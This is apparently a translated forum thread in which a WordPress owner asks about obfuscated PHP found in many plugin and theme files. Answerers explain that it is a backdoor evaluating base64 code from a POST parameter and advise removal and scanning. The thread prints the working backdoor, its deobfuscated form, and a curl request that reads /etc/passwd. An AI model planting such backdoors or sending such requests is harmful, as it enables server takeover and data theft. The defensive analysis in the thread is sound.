在我的 WordPress 网站中发现可疑代码 - 如何修复?

Suspicious code found in my WordPress site - How to fix?

我的一个网站昨晚被黑了,我的网站上放了一些色情内容。

我做了什么:

我已使用 FTP 从站点手动删除成人内容。

我的网站现在可以正常运行了。但是,我仍然能够在我的插件和主题文件中找到一些代码。不是我写的,代码如下:

   <?php 
        $sF="PCT4BA6ODSE_";
$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);$s22=${strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2])}['n842e1c'];
if(isset($s22))
{
eval($s21($s22));
}
    ?>

我的查询是:

需要其他代码建议:

此类代码在 100 多个文件中可用。有什么方法可以一次从所有文件中删除代码?或者有什么方法可以保留代码并对其进行消毒?所以,它会节省我从太多文件中手动删除代码的时间。

  1. 这是一个后门,获取一个名为 n842e1c 的 POST 参数并执行它。指令编码为 Base64。
  2. 是。
  3. 你应该立即。
  4. 没有,尽快删除

也许重新安装 wordpress,或者您可以在 python(或其他)中快速开发一个脚本以从您的文件中删除此字符串。

PHP eval 很危险。

它基本上执行其函数内的代码。因此,如果您不确定它是否在您的网站中使用,则必须将其删除。

The eval() language construct is very dangerous because it allows execution of arbitrary PHP code. Its use thus is discouraged. If you have carefully verified that there is no other option than to use this construct, pay special attention not to pass any user provided data into it without properly validating it beforehand. Source

您不能直接禁用它,所以唯一的选择是从所有文件中删除代码。

尝试在您的网站上安装这些免费插件。

Sucuri WordPress Auditing and Theme Authenticity Checker (TAC).

关注以下网址以获得帮助。

https://www.wordfence.com/docs/how-to-clean-a-hacked-wordpress-site-using-wordfence/

http://www.wpbeginner.com/beginners-guide/beginners-step-step-guide-fixing-hacked-wordpress-site/

这个代码代表什么,这是做什么的?

此代码是一个后门,攻击者可以使用它来执行任意代码。这就是代码打算做的。

<?php
eval( base64_decode( $_POST['n842e1c'] ) );

攻击者可以在 POST 参数 n842e1c 中使用其编码的有效负载对该文件发出 post 请求并执行 PHP 代码。

示例:

curl -X POST -d "n842e1c=ZWNobyByZWFkZmlsZSgnL2V0Yy9wYXNzd2QnKTs=" http://PATH_TO_THIS_FILE

这里的ZWNobyByZWFkZmlsZSgnL2V0Yy9wYXNzd2QnKTs=echo readfile('/etc/passwd');的BASE64编码字符串。

这个有害吗?

我应该从我的文件中删除此代码吗?

如果删除它会对我的网站产生任何影响吗?

没有

Here are some tips to help you clean the website. Also, follow this 官方 post 通过 wordpress 采取必要的步骤。